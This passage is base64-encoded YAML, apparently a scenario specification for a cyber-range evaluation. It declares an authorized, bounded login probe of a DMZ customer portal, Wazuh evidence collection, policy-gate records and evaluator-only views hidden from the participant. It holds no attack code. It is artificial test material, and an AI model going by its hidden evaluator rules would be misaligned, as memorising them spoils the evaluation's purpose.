1c3IvbG9jYWwvYmluL2NoZWNrLXdhenVoLW1hbmFnZXIKICAgIGludGVydmFsOiAzMAogICAgZGVzY3JpcHRpb246IERlY2xhcmF0aXZlIGhlYWx0aGNoZWNrIHJlcXVpcmVkIGJlZm9yZSBldmFsdWF0b3IgZXZpZGVuY2UgaXMgY29tcGxldGUuCiAgcGFydGljaXBhbnQtb2JzZXJ2YXRpb24tcmVjb3JkZWQ6CiAgICBwcm9wb3NpdGlvbjogcGFydGljaXBhbnQtb2JzZXJ2YXRpb24tcmVjb3JkZWQKICAgIGNvbW1hbmQ6IC91c3IvbG9jYWwvYmluL2NoZWNrLXBhcnRpY2lwYW50LW9ic2VydmF0aW9uCiAgICBpbnRlcnZhbDogMzAKICAgIGRlc2NyaXB0aW9uOiA+CiAgICAgIFJlZmVyZW5jZSBiYWNrZW5kIGNvbmRpdGlvbiB0aGF0IHJlcG9ydHMgd2hldGhlciB0aGUgcGFydGljaXBhbnQgcnVudGltZQogICAgICByZWNvcmRlZCBhIHRlcm1pbmFsIGN1c3RvbWVyIHBvcnRhbCBvYnNlcnZhdGlvbi4KICB3YXp1aC1ldmlkZW5jZS1yZWNvcmRlZDoKICAgIHByb3Bvc2l0aW9uOiB3YXp1aC1ldmlkZW5jZS1yZWNvcmRlZAogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2std2F6dWgtZXZpZGVuY2UKICAgIGludGVydmFsOiAzMAogICAgZGVzY3JpcHRpb246ID4KICAgICAgUmVmZXJlbmNlIGJhY2tlbmQgY29uZGl0aW9uIHRoYXQgcmVwb3J0cyB3aGV0aGVyIFdhenVoIHJldGFpbmVkIGJvdW5kZWQKICAgICAgZXZhbHVhdG9yIGV2aWRlbmNlIGZvciB0aGUgcGFydGljaXBhbnQgcHJvYmUuCiAgcG9saWN5LWRlY2lzaW9uLXJlY29yZGVkOgogICAgcHJvcG9zaXRpb246IHBvbGljeS1kZWNpc2lvbi1yZWNvcmRlZAogICAgY29tbWFuZDogL3Vzci9sb2NhbC9iaW4vY2hlY2stcG9saWN5LWRlY2lzaW9uCiAgICBpbnRlcnZhbDogMzAKICAgIGRlc2NyaXB0aW9uOiA+CiAgICAgIFJlZmVyZW5jZSBiYWNrZW5kIGNvbmRpdGlvbiB0aGF0IHJlcG9ydHMgd2hldGhlciB0aGUgb3B0aW9uYWwgcG9saWN5IGdhdGUKICAgICAgcmV0YWluZWQgYW4gYWxsb3csIGRlbnksIG9yIGJvdW5kZWQtdG9vbC11c2UgZGVjaXNpb24gcmVjb3JkLgogIGJvdW5kYXJ5LWNoZWNrcy1yZWNvcmRlZDoKICAgIHByb3Bvc2l0aW9uOiBib3VuZGFyeS1jaGVja3MtcmVjb3JkZWQKICAgIGNvbW1hbmQ6IC91c3IvbG9jYWwvYmluL2NoZWNrLXBhcnRpY2lwYW50LWJvdW5kYXJ5CiAgICBpbnRlcnZhbDogMzAKICAgIGRlc2NyaXB0aW9uOiA+CiAgICAgIFJlZmVyZW5jZSBiYWNrZW5kIGNvbmRpdGlvbiB0aGF0IHJlcG9ydHMgd2hldGhlciBkaXJlY3QgREIgYW5kIFdhenVoIEFQSQogICAgICByZWFjaGFiaWxpdHkgY2hlY2tzIGZyb20gdGhlIHBhcnRpY2lwYW50IGhvc3Qgd2VyZSByZXRhaW5lZCBhcyBuZWdhdGl2ZQogICAgICBldmFsdWF0b3IgZXZpZGVuY2Ugd2hlcmUgc3VwcG9ydGVkLgoKYWN0aW9uX2NvbnRyYWN0czoKICBwcm9iZS1jdXN0b21lci1wb3J0YWwtbG9naW46CiAgICBzZW1hbnRpY192ZXJzaW9uOiAxLjAuMAogICAgbGlmZWN5Y2xlX3N0YXRlOiBhY3RpdmUKICAgIGJlaGF2aW9yYWxfZ3JhbnVsYXJpdHk6IGF0b21pYwogICAgcHJvY2VkdXJlX2Jhc2lzOiBib3VuZGVkIEhUVFAgbG9naW4gcHJvYmUgdGhyb3VnaCBwYXJ0aWNpcGFudCBydW50aW1lCiAgICByZWFsaXphdGlvbl9wcm9maWxlOiBiYWNrZW5kLWRlY2xhcmVkCiAgICBmaWRlbGl0eV9jbGFpbTogPgogICAgICBDYXB0dXJlcyBwYXJ0aWNpcGFudCBpbnRlbnQsIHRlcm1pbmFsIG9ic2VydmF0aW9uLCBXYXp1aCBldmFsdWF0b3IKICAgICAgZXZpZGVuY2UsIHBvbGljeSBwcm92ZW5hbmNlLCBhbmQgYm91bmRhcnkgZXZpZGVuY2UgcmVmcyB3aGlsZSBsZWF2aW5nCiAgICAgIGNvbmNyZXRlIHJ1bm5lciBjb21tYW5kcyB0byBkb3duc3RyZWFtIHJ1bnRpbWUgYmluZGluZ3MuCiAgICBwcmVjb25kaXRpb25zOgogICAgICAtIHByZWNvbmRpdGlvbl9pZDogcGFydGljaXBhbnQtYXV0aG9yaXplZAogICAgICAgIHByZWNvbmRpdGlvbl9jbGFzczogYXV0aG9yaXR5CiAgICAgICAgZGVzY3JpcHRpb246IFRoZSBwYXJ0aWNpcGFudCBpcyBhdXRob3JpemVkIHRvIHByb2JlIHRoZSBjdXN0b21lciBwb3J0YWwgbG9naW4gZW5kcG9pbnQuCiAgICAgICAgc3VwcG9ydF9yZWZzOiBbYWdlbnRzLnBhcnRpY2lwYW50LWFnZW50LCBub2Rlcy5jdXN0b21lci1wb3J0YWwuc2VydmljZXMuaHR0cF0KICAgICAgLSBwcmVjb25kaXRpb25faWQ6IHBvcnRhbC1wcmVzZW50CiAgICAgICAgcHJlY29uZGl0aW9uX2NsYXNzOiB0YXJnZXQKICAgICAgICBkZXNjcmlwdGlvbjogVGhlIERNWiBjdXN0b21lciBwb3J0YWwgZXhpc3RzIGluc2lkZSB0aGUgZW50ZXJwcmlzZSBzbGljZS4KICAgICAgICBzdXBwb3J0X3JlZnM6IFtub2Rlcy5jdXN0b21lci1wb3J0YWwuc2VydmljZXMuaHR0cF0KICAgICAgLSBwcmVjb25kaXRpb25faWQ6IHJ1bnRpbWUtYmluZGluZy1hdmFpbGFibGUKICAgICAgICBwcmVjb25kaXRpb25fY2xhc3M6IHJlYWxpemF0aW9uCiAgICAgICAgZGVzY3JpcHRpb246ID4KICAgICAgICAgIEEgZG93bnN0cmVhbSBwYXJ0aWNpcGFudCBpbXBsZW1lbnRhdGlvbi9ydW50aW1lIGJpbmRpbmcgY2FuIHBlcmZvcm0KICAgICAgICAgIHRoZSBkZWNsYXJlZCBwcm9iZSB3aXRob3V0IGNoYW5naW5nIFNETCBzZW1hbnRpY3MuCiAgICAgICAgc3VwcG9ydF9yZWZzOiBbcGFydGljaXBhbnQtaW1wbGVtZW50YXRpb24tbWFuaWZlc3Q6cGFydGljaXBhbnQtYWdlbnRdCiAgICAgIC0gcHJlY29uZGl0aW9uX2lkOiB3YXp1aC1ldmlkZW5jZS1zdXJmYWNlLWF2YWlsYWJsZQogICAgICAgIHByZWNvbmRpdGlvbl9jbGFzczogY2FwYWJpbGl0eQogICAgICAgIGRlc2NyaXB0aW9uOiA+CiAgICAgICAgICBXYXp1aCBjYW4gcmV0YWluIGV2YWx1YXRvciBldmlkZW5jZSBmb3IgdGhlIGJvdW5kZWQgcG9ydGFsIHByb2JlLgogICAgICAgIHN1cHBvcnRfcmVmczogW25vZGVzLndhenVoLW1hbmFnZXIuc2VydmljZXMud2F6dWgtYXBpLCBjb250ZW50LndhenVoLWV2aWRlbmNlXQogICAgICAtIHByZWNvbmRpdGlvbl9pZDogcG9saWN5LXByb3ZlbmFuY2Utc3VyZmFjZS1hdmFpbGFibGUKICAgICAgICBwcmVjb25kaXRpb25fY2xhc3M6IHJlYWxpemF0aW9uCiAgICAgICAgZGVzY3JpcHRpb246ID4KICAgICAgICAgIEEgcGFydGljaXBhbnQgcG9saWN5IGdhdGUgY2FuIHJldGFpbiB0b29sLXVzZSBhdXRob3JpemF0aW9uIHByb3ZlbmFuY2UKICAgICAgICAgIHdpdGhvdXQgbWFraW5nIHRoZSBhY3Rpb24gYSBtb2RlbC1kZWZlbnNlIHJvYnVzdG5lc3MgZXZhbHVhdGlvbi4KICAgICAgICBzdXBwb3J0X3JlZnM6IFtub2Rlcy5wYXJ0aWNpcGFudC1wb2xpY3ktZ2F0ZS5zZXJ2aWNlcy5wb2xpY3ktZ2F0ZS1hcGksIGNvbnRlbnQucG9saWN5LWRlY2lzaW9uLWxvZ10KICAgIGVmZmVjdHM6CiAgICAgIC0gZWZmZWN0X2lkOiBwb3J0YWwtcmVhY2hhYmlsaXR5LW9ic2VydmVkCiAgICAgICAgZWZmZWN0X2NsYXNzOiBpbnRlbmRlZF9lZmZlY3QKICAgICAgICBkZXNjcmlwdGlvbjogVGhlIHBhcnRpY2lwYW50IG9idGFpbnMgYSBib3VuZGVkIHJlYWNoYWJpbGl0eSBvYnNlcnZhdGlvbi4KICAgICAgICB0YXJnZXRfcmVmczogW25vZGVzLmN1c3RvbWVyLXBvcnRhbC5zZXJ2aWNlcy5odHRwXQogICAgICAtIGVmZmVjdF9pZDogcGFydGljaXBhbnQtdmlldy11cGRhdGVkCiAgICAgICAgZWZmZWN0X2NsYXNzOiB2aXNpYmlsaXR5X2VmZmVjdAogICAgICAgIGRlc2NyaXB0aW9uOiBUaGUgY3VzdG9tZXIgcG9ydGFsIHNlcnZpY2UgYmVjb21lcyBkaXNjb3ZlcmVkIGluIHRoZSBwYXJ0aWNpcGFudCB2aWV3LgogICAgICAgIHRhcmdldF9yZWZzOiBbbm9kZXMuY3VzdG9tZXItcG9ydGFsLnNlcnZpY2VzLmh0dHBdCiAgICAgIC0gZWZmZWN0X2lkOiB0ZXJtaW5hbC1vYnNlcnZhdGlvbi1lbWl0dGVkCiAgICAgICAgZWZmZWN0X2NsYXNzOiBvYnNlcnZhdGlvbl9lZmZlY3QKICAgICAgICBkZXNjcmlwdGlvbjogUnVudGltZSBlbWl0cyBhIHRlcm1pbmFsIHBhcnRpY2lwYW50IG9ic2VydmF0aW9uIGVudmVsb3BlLgogICAgICAgIGV2aWRlbmNlX3JlZnM6IFtjb250ZW50LnBhcnRpY2lwYW50LW9ic2VydmF0aW9uXQogICAgICAtIGVmZmVjdF9pZDogd2F6dWgtZXZpZGVuY2UtcmV0YWluZWQKICAgICAgICBlZmZlY3RfY2xhc3M6IGRldGVjdGlvbl9lZmZlY3QKICAgICAgICBkZXNjcmlwdGlvbjogV2F6dWggcmV0YWlucyBib3VuZGVkIGV2YWx1YXRvciBldmlkZW5jZSBmb3IgdGhlIHBvcnRhbCBwcm9iZS4KICAgICAgICB0YXJnZXRfcmVmczogW25vZGVzLndhenVoLW1hbmFnZXJdCiAgICAgICAgZXZpZGVuY2VfcmVmczogW2NvbnRlbnQud2F6dWgtZXZpZGVuY2VdCiAgICAgIC0gZWZmZWN0X2lkOiBwb2xpY3ktZGVjaXNpb24tcmV0YWluZWQKICAgICAgICBlZmZlY3RfY2xhc3M6IGV2aWRlbmNlX2VmZmVjdAogICAgICAgIGRlc2NyaXB0aW9uOiBUaGUgb3B0aW9uYWwgcG9saWN5IGdhdGUgcmV0YWlucyB0b29sLXVzZSBkZWNpc2lvbiBwcm92ZW5hbmNlLgogICAgICAgIHRhcmdldF9yZWZzOiBbbm9kZXMucGFydGljaXBhbnQtcG9saWN5LWdhdGVdCiAgICAgICAgZXZpZGVuY2VfcmVmczogW2NvbnRlbnQucG9saWN5LWRlY2lzaW9uLWxvZ10KICAgICAgLSBlZmZlY3RfaWQ6IGJvdW5kYXJ5LWNoZWNrcy1yZXRhaW5lZAogICAgICAgIGVmZmVjdF9jbGFzczogZXZpZGVuY2VfZWZmZWN0CiAgICAgICAgZGVzY3JpcHRpb246ID4KICAgICAgICAgIFN1cHBvcnRlZCBsaXZlIGJhY2tlbmRzIHJldGFpbiBuZWdhdGl2ZSBldmlkZW5jZSBmb3IgZGlyZWN0IERCIGFuZAogICAgICAgICAgV2F6dWggQVBJIHJlYWNoYWJpbGl0eSBmcm9tIHRoZSBwYXJ0aWNpcGFudCBob3N0LgogICAgICAgIGV2aWRlbmNlX3JlZnM6IFtjb250ZW50LmJvdW5kYXJ5LWNoZWNrLWV2aWRlbmNlXQogICAgICAtIGVmZmVjdF9pZDogaW50ZXJuYWwtZGItbm90LWRpc2Nsb3NlZAogICAgICAgIGVmZmVjdF9jbGFzczogbm9fZWZmZWN0CiAgICAgICAgZGVzY3JpcHRpb246IFRoZSBhY3Rpb24gZG9lcyBub3QgZGlzY2xvc2UgdGhlIGludGVybmFsIGRhdGFiYXNlIGRlcGVuZGVuY3kuCiAgICAgIC0gZWZmZWN0X2lkOiB3YXp1aC1pbnRlcm5hbHMtbm90LWRpc2Nsb3NlZAogICAgICAgIGVmZmVjdF9jbGFzczogbm9fZWZmZWN0CiAgICAgICAgZGVzY3JpcHRpb246IFRoZSBhY3Rpb24gZG9lcyBub3QgZGlzY2xvc2UgV2F6dWggaW50ZXJuYWxzIG9yIEFQSSBkYXRhIHRvIHRoZSBwYXJ0aWNpcGFudC4KICAgICAgLSBlZmZlY3RfaWQ6IHBvbGljeS1pbnRlcm5hbHMtbm90LWRpc2Nsb3NlZAogICAgICAgIGVmZmVjdF9jbGFzczogbm9fZWZmZWN0CiAgICAgICAgZGVzY3JpcHRpb246IFRoZSBhY3Rpb24gZG9lcyBub3QgZGlzY2xvc2UgcG9saWN5LWdhdGUgaW50ZXJuYWxzIHRvIHRoZSBwYXJ0aWNpcGFudC4KICAgICAgLSBlZmZlY3RfaWQ6IGV2YWx1YXRvci1ub3Rlcy1ub3QtZGlzY2xvc2VkCiAgICAgICAgZWZmZWN0X2NsYXNzOiBub19lZmZlY3QKICAgICAgICBkZXNjcmlwdGlvbjogVGhlIGFjdGlvbiBkb2VzIG5vdCBkaXNjbG9zZSBhZGp1ZGljYXRpb24tb25seSBldmFsdWF0b3Igbm90ZXMuCiAgICBzdGF0ZV90cmFuc2l0aW9uX2VmZmVjdHM6IFtwYXJ0aWNpcGFudCBjdXN0b21lci1wb3J0YWwga25vd2xlZGdlIGV4cGFuZHNdCiAgICBvYnNlcnZhdGlvbl9leHBlY3RhdGlvbnM6IFt0ZXJtaW5hbCBjdXN0b21lciBwb3J0YWwgb2JzZXJ2YXRpb25dCiAgICBldmlkZW5jZV9leHBlY3RhdGlvbnM6CiAgICAgIC0gcGFydGljaXBhbnQgcnVudGltZSBvYnNlcnZhdGlvbiBlbnZlbG9wZQogICAgICAtIFdhenVoIGV2YWx1YXRvciBldmlkZW5jZQogICAgICAtIHBvbGljeSBkZWNpc2lvbiBwcm92ZW5hbmNlCiAgICAgIC0gbmVnYXRpdmUgcGFydGljaXBhbnQtYm91bmRhcnkgZXZpZGVuY2UKICAgIGZhaWx1cmVfY2xhc3NlczoKICAgICAgLSBwcmVjb25kaXRpb25fdW5zYXRpc2ZpZWQKICAgICAgLSB0YXJnZXRfdW5hdmFpbGFibGUKICAgICAgLSB1bnN1cHBvcnRlZF9hY3Rpb24KICAgICAgLSBhdXRob3JpdHlfZGVuaWVkCiAgICAgIC0gdW5zYWZlX3dpdGhoZWxkCiAgICAgIC0gcGFydGlhbF9zdWNjZXNzCiAgICAgIC0gYmFja2VuZF9lcnJvcgogICAgICAtIHVua25vd24KICAgIGJhY2tlbmRfZmFpbHVyZV9tYXBwaW5nczoKICAgICAgLSBiYWNrZW5kX2Vycm9yX2NvZGU6IHNjZW5hcmlvLnBvcnRhbC11bnJlYWNoYWJsZQogICAgICAgIGZhaWx1cmVfY2xhc3M6IHRhcmdldF91bmF2YWlsYWJsZQogICAgICAgIGRpYWdub3N0aWM6IGN1c3RvbWVyIHBvcnRhbCBzZXJ2aWNlIHdhcyB1bnJlYWNoYWJsZSBmcm9tIHRoZSBwYXJ0aWNpcGFudCB0b3BvbG9neQogICAgICAtIGJhY2tlbmRfZXJyb3JfY29kZTogcGFydGljaXBhbnQtcnVudGltZS51bnN1cHBvcnRlZC1hY3Rpb24KICAgICAgICBmYWlsdXJlX2NsYXNzOiB1bnN1cHBvcnRlZF9hY3Rpb24KICAgICAgICBkaWFnbm9zdGljOiBwYXJ0aWNpcGFudCBydW50aW1lIGRpZCBub3Qgc3VwcG9ydCB0aGUgZGVjbGFyZWQgYWN0aW9uIGNvbnRyYWN0CiAgICAgIC0gYmFja2VuZF9lcnJvcl9jb2RlOiBwb2xpY3ktZ2F0ZS53aXRoaGVsZAogICAgICAgIGZhaWx1cmVfY2xhc3M6IHVuc2FmZV93aXRoaGVsZAogICAgICAgIGRpYWdub3N0aWM6IHBvbGljeSBnYXRlIHdpdGhoZWxkIHRoZSByZXF1ZXN0ZWQgYm91bmRlZCB0b29sIHVzZQogICAgICAtIGJhY2tlbmRfZXJyb3JfY29kZTogd2F6dWgudGVsZW1ldHJ5LW1pc3NpbmcKICAgICAgICBmYWlsdXJlX2NsYXNzOiBwYXJ0aWFsX3N1Y2Nlc3MKICAgICAgICBkaWFnbm9zdGljOiBwYXJ0aWNpcGFudCBvYnNlcnZhdGlvbiBleGlzdHMgYnV0IFdhenVoIGV2aWRlbmNlIHdhcyBub3QgcmV0YWluZWQKICAgICAgLSBiYWNrZW5kX2Vycm9yX2NvZGU6IGJvdW5kYXJ5LmRpcmVjdC1kYi1yZWFjaGFibGUKICAgICAgICBmYWlsdXJlX2NsYXNzOiBiYWNrZW5kX2Vycm9yCiAgICAgICAgZGlhZ25vc3RpYzogcGFydGljaXBhbnQgaG9zdCB1bmV4cGVjdGVkbHkgcmVhY2hlZCB0aGUgaW50ZXJuYWwgZGF0YWJhc2UgZGlyZWN0bHkKICAgICAgLSBiYWNrZW5kX2Vycm9yX2NvZGU6IGJvdW5kYXJ5LmRpcmVjdC13YXp1aC1hcGktcmVhY2hhYmxlCiAgICAgICAgZmFpbHVyZV9jbGFzczogYmFja2VuZF9lcnJvcgogICAgICAgIGRpYWdub3N0aWM6IHBhcnRpY2lwYW50IGhvc3QgdW5leHBlY3RlZGx5IHJlYWNoZWQgdGhlIFdhenVoIEFQSSBkaXJlY3RseQogICAgaW50ZXJhY3Rpb25zOgogICAgICAtIGludGVyYWN0aW9uX2NsYXNzOiBzaGFyZWRfc3RhdGVfY2hhbmdlCiAgICAgICAgdGFyZ2V0OiBub2Rlcy5jdXN0b21lci1wb3J0YWwuc2VydmljZXMuaHR0cAogICAgICAgIHJhdGlvbmFsZTogPgogICAgICAgICAgUG9ydGFsIHByb2JpbmcgY2hhbmdlcyBwYXJ0aWNpcGFudC1sb2NhbCBrbm93bGVkZ2UgYWJvdXQgdGhlIERNWgogICAgICAgICAgc2VydmljZSB3aGlsZSBwcmVzZXJ2aW5nIHRoZSBhdXRob3JlZCBlbnRlcnByaXNlIHRvcG9sb2d5LgogICAgICAgIHNoYXJlZF9zdGF0ZV9yZWZzOiBbbm9kZXMuY3VzdG9tZXItcG9ydGFsLnNlcnZpY2VzLmh0dHBdCiAgICAgICAgY29tbXV0YXRpdmU6IHRydWUKCm9ic2VydmF0aW9uX2JvdW5kYXJpZXM6CiAgcGFydGljaXBhbnQtdmlldzoKICAgIHByb2plY3Rpb25fYmFzaXM6ID4KICAgICAgUGFydGljaXBhbnQtbG9jYWwgcHJvamVjdGlvbiBvdmVyIHRoZSB0YXNrIGJyaWVmLCBETVogcG9ydGFsIHZpc2liaWxpdHksCiAgICAgIGJvdW5kZWQgdGVybWluYWwgZXZpZGVuY2UsIGV2YWx1YXRvci1vbmx5IFdhenVoIGV2aWRlbmNlLCBldmFsdWF0b3Itb25seQogICAgICBwb2xpY3kgcHJvdmVuYW5jZSwgYW5kIG5lZ2F0aXZlIGJvdW5kYXJ5IGNoZWNrcy4KICAgIG9ic2VydmFibGVfcmVmczoKICAgICAgLSBjb250ZW50LnRhc2stYnJpZWYKICAgIGhpZGRlbl9yZWZzOgogICAgICAtIG5vZGVzLmN1c3RvbWVyLXBvcnRhbC5zZXJ2aWNlcy5odHRwCiAgICAgIC0gbm9kZXMuY3VzdG9tZXItZGIuc2VydmljZXMucG9zdGdyZXMKICAgICAgLSBub2Rlcy53YXp1aC1tYW5hZ2VyCiAgICAgIC0gbm9kZXMud2F6dWgtaW5kZXhlcgogICAgICAtIG5vZGVzLnBhcnRpY2lwYW50LXBvbGljeS1nYXRlCiAgICAgIC0gY29udGVudC5ldmFsdWF0b3Itbm90ZXMKICAgIGV2aWRlbmNlX3JlZnM6CiAgICAgIC0gY29udGVudC5wYXJ0aWNpcGFudC1vYnNlcnZhdGlvbgogICAgICAtIGNvbnRlbnQud2F6dWgtZXZpZGVuY2UKICAgICAgLSBjb250ZW50LnBvbGljeS1kZWNpc2lvbi1sb2cKICAgICAgLSBjb250ZW50LmJvdW5kYXJ5LWNoZWNrLWV2aWRlbmNlCiAgICByZWRhY3Rpb25fcG9saWN5OiA+CiAgICAgIEludGVybmFsIGRhdGFiYXNlIGRldGFpbHMsIFdhenVoIGludGVybmFscywgcG9saWN5LWdhdGUgaW50ZXJuYWxzLAogICAgICBldmFsdWF0b3Igbm90ZXMsIGJhY2tlbmQtcHJpdmF0ZSBydW5uZXIgZGV0YWlscywgYW5kIHJhdyBuZWdhdGl2ZS1jaGVjawogICAgICBpbnRlcm5hbHMgbmV2ZXIgcHJvamVjdCBpbnRvIHRoZSBwYXJ0aWNpcGFudCB2aWV3LgogICAgbGF0ZW5jeV9wcm9maWxlOiB0ZXJtaW5hbCBvYnNlcnZhdGlvbiBlbWl0dGVkIGFmdGVyIGFjdGlvbiBjb21wbGV0aW9uCiAgICBvYnNlcnZlcl9lZmZlY3RzOiBbcG9ydGFsIHByb2JlIG1heSB1cGRhdGUgcGFydGljaXBhbnQtbG9jYWwga25vd2xlZGdlXQogICAgcmVhbGl6ZWRfdmlld19kaXNjbG9zdXJlOiA+CiAgICAgIEJhY2tlbmQgcmVwb3J0cyBvbmx5IHRoZSB0YXNrIGJyaWVmLCB0ZXJtaW5hbCBwb3J0YWwgb2JzZXJ2YXRpb24sIGFuZAogICAgICBldmlkZW5jZSByZWZlcmVuY2VzIHJlcXVpcmVkIGZvciByZXBsYXkgYW5kIGFkanVkaWNhdGlvbi4KICAgIHZpZXdfcnVsZXM6CiAgICAgIC0gaW5mb3JtYXRpb25fcmVmOiBjb250ZW50LnRhc2stYnJpZWYKICAgICAgICBib3VuZGFyeV9jbGFzczogcHVibGljX3Rhc2tfc3RhdGVtZW50CiAgICAgICAgZGlzcG9zaXRpb246IG9ic2VydmFibGUKICAgICAgICB2aXNpYmlsaXR5X2Jhc2lzOiBUaGUgcHVibGljIHRhc2sgc3RhdGVtZW50IGlzIHZpc2libGUgYmVmb3JlIHRoZSBhY3Rpb24uCiAgICAgIC0gaW5mb3JtYXRpb25fcmVmOiBub2Rlcy5jdXN0b21lci1wb3J0YWwuc2VydmljZXMuaHR0cAogICAgICAgIGJvdW5kYXJ5X2NsYXNzOiBvYnNlcnZhYmxlX3Jlc291cmNlCiAgICAgICAgZGlzcG9zaXRpb246IGhpZGRlbgogICAgICAgIHZpc2liaWxpdHlfYmFzaXM6IFRoZSBETVogcG9ydGFsIHNlcnZpY2UgaXMgbm90IHBhcnRpY2lwYW50LXZpc2libGUgdW50aWwgdGhlIHByb2JlIGNvbXBsZXRlcy4KICAgICAgICBsYXRlbmN5X3Byb2ZpbGU6IHRlcm1pbmFsIG9ic2VydmF0aW9uIGxhdGVuY3kKICAgICAgLSBpbmZvcm1hdGlvbl9yZWY6IG5vZGVzLmN1c3RvbWVyLWRiLnNlcnZpY2VzLnBvc3RncmVzCiAgICAgICAgYm91bmRhcnlfY2xhc3M6IGhpZGRlbl90cnV0aAogICAgICAgIGRpc3Bvc2l0aW9uOiBoaWRkZW4KICAgICAgICB2aXNpYmlsaXR5X2Jhc2lzOiBUaGUgZGF0YWJhc2UgaXMgcGh5c2ljYWxseSBvbiBpbnRlcm5hbC1uZXQgYW5kIG91dHNpZGUgdGhlIGRlY2xhcmVkIHBhcnRpY2lwYW50IGFjdGlvbi4KICAgICAgLSBpbmZvcm1hdGlvbl9yZWY6IG5vZGVzLndhenVoLW1hbmFnZXIKICAgICAgICBib3VuZGFyeV9jbGFzczogdGVsZW1ldHJ5X3N0cmVhbQogICAgICAgIGRpc3Bvc2l0aW9uOiBoaWRkZW4KICAgICAgICB2aXNpYmlsaXR5X2Jhc2lzOiBXYXp1aCBtYW5hZ2VyIGludGVybmFscyBkbyBub3QgcHJvamVjdCBpbnRvIHRoZSBwYXJ0aWNpcGFudCB2aWV3LgogICAgICAtIGluZm9ybWF0aW9uX3JlZjogbm9kZXMud2F6dWgtaW5kZXhlcgogICAgICAgIGJvdW5kYXJ5X2NsYXNzOiB0ZWxlbWV0cnlfc3RyZWFtCiAgICAgICAgZGlzcG9zaXRpb246IGhpZGRlbgogICAgICAgIHZpc2liaWxpdHlfYmFzaXM6IFdhenVoIGluZGV4ZXIgaW50ZXJuYWxzIGRvIG5vdCBwcm9qZWN0IGludG8gdGhlIHBhcnRpY2lwYW50IHZpZXcuCiAgICAgIC0gaW5mb3JtYXRpb25fcmVmOiBub2Rlcy5wYXJ0aWNpcGFudC1wb2xpY3ktZ2F0ZQogICAgICAgIGJvdW5kYXJ5X2NsYXNzOiB0b29sX291dHB1dAogICAgICAgIGRpc3Bvc2l0aW9uOiBoaWRkZW4KICAgICAgICB2aXNpYmlsaXR5X2Jhc2lzOiBUaGUgcGFydGljaXBhbnQgZG9lcyBub3QgcmVjZWl2ZSBwb2xpY3ktZ2F0ZSBpbnRlcm5hbHMuCiAgICAgIC0gaW5mb3JtYXRpb25fcmVmOiBjb250ZW50LnBhcnRpY2lwYW50LW9ic2VydmF0aW9uCiAgICAgICAgYm91bmRhcnlfY2xhc3M6IGFyY2hpdmFsX2V2aWRlbmNlCiAgICAgICAgZGlzcG9zaXRpb246IGV2aWRlbmNlX29ubHkKICAgICAgICB2aXNpYmlsaXR5X2Jhc2lzOiBQYXJ0aWNpcGFudCBydW50aW1lIGV2aWRlbmNlIGlzIHJldGFpbmVkIGZvciByZXBsYXkuCiAgICAgICAgZXZpZGVuY2VfcmVmczogW2NvbnRlbnQucGFydGljaXBhbnQtb2JzZXJ2YXRpb25dCiAgICAgIC0gaW5mb3JtYXRpb25fcmVmOiBjb250ZW50LndhenVoLWV2aWRlbmNlCiAgICAgICAgYm91bmRhcnlfY2xhc3M6IHRlbGVtZXRyeV9zdHJlYW0KICAgICAgICBkaXNwb3NpdGlvbjogZXZpZGVuY2Vfb25seQogICAgICAgIHZpc2liaWxpdHlfYmFzaXM6IFdhenVoIGV2aWRlbmNlIGlzIHJldGFpbmVkIGZvciBldmFsdWF0b3IgYWRqdWRpY2F0aW9uLCBub3Qgc2hvd24gYXMgdGFzayBjb250ZXh0LgogICAgICAgIGV2aWRlbmNlX3JlZnM6IFtjb250ZW50LndhenVoLWV2aWRlbmNlXQogICAgICAtIGluZm9ybWF0aW9uX3JlZjogY29udGVudC5wb2xpY3ktZGVjaXNpb24tbG9nCiAgICAgICAgYm91bmRhcnlfY2xhc3M6IHRvb2xfb3V0cHV0CiAgICAgICAgZGlzcG9zaXRpb246IGV2aWRlbmNlX29ubHkKICAgICAgICB2aXNpYmlsaXR5X2Jhc2lzOiBNb2RlbC1kZWZlbnNlIG9yIHRvb2wtdXNlIGRlY2lzaW9uIHByb3ZlbmFuY2UgaXMgcmV0YWluZWQgZm9yIGF1ZGl0LgogICAgICAgIGV2aWRlbmNlX3JlZnM6IFtjb250ZW50LnBvbGljeS1kZWNpc2lvbi1sb2ddCiAgICAgIC0gaW5mb3JtYXRpb25fcmVmOiBjb250ZW50LmJvdW5kYXJ5LWNoZWNrLWV2aWRlbmNlCiAgICAgICAgYm91bmRhcnlfY2xhc3M6IGFyY2hpdmFsX2V2aWRlbmNlCiAgICAgICAgZGlzcG9zaXRpb246IGV2aWRlbmNlX29ubHkKICAgICAgICB2aXNpYmlsaXR5X2Jhc2lzOiBOZWdhdGl2ZSBib3VuZGFyeSBjaGVja3MgYXJlIGV2YWx1YXRvciBldmlkZW5jZSwgbm90IHBhcnRpY2lwYW50IG9ic2VydmF0aW9ucy4KICAgICAgICBldmlkZW5jZV9yZWZzOiBbY29udGVudC5ib3VuZGFyeS1jaGVjay1ldmlkZW5jZV0KICAgICAgLSBpbmZvcm1hdGlvbl9yZWY6IGNvbnRlbnQuZXZhbHVhdG9yLW5vdGVzCiAgICAgICAgYm91bmRhcnlfY2xhc3M6IGFkanVkaWNhdGlvbl9tYXRlcmlhbAogICAgICAgIGRpc3Bvc2l0aW9uOiBoaWRkZW4KICAgICAgICB2aXNpYmlsaXR5X2Jhc2lzOiBFdmFsdWF0b3Igbm90ZXMgYXJlIG5ldmVyIHBhcnRpY2lwYW50LXZpc2libGUuCiAgICB2aWV3X3RyYW5zaXRpb25zOgogICAgICAtIHRyYW5zaXRpb25faWQ6IGRpc2NvdmVyLWN1c3RvbWVyLXBvcnRhbAogICAgICAgIHRyYW5zaXRpb25fa2luZDogZGlzY292ZXJ5CiAgICAgICAgaW5mb3JtYXRpb25fcmVmOiBub2Rlcy5jdXN0b21lci1wb3J0YWwuc2VydmljZXMuaHR0cAogICAgICAgIHRyaWdnZXI6IHByb2JlLWN1c3RvbWVyLXBvcnRhbC1sb2dpbiB0ZXJtaW5hbCBvYnNlcnZhdGlvbgogICAgICAgIGVmZmVjdGl2ZV9mcm9tOiBlcGlzb2RlLXN0ZXA6cHJvYmUtMDAwMTp0ZXJtaW5hbC1vYnNlcnZhdGlvbgogICAgICAgIGVmZmVjdGl2ZV9vcmRlcjogMTAKICAgICAgICBoaXN0b3J5X2V2ZW50X3R5cGU6IG9ic2VydmF0aW9uX2VtaXR0ZWQKICAgICAgICBhY3Rpb25faW5zdGFuY2VfaWQ6IHByb2JlLTAwMDEKICAgICAgICBmcm9tX2Rpc3Bvc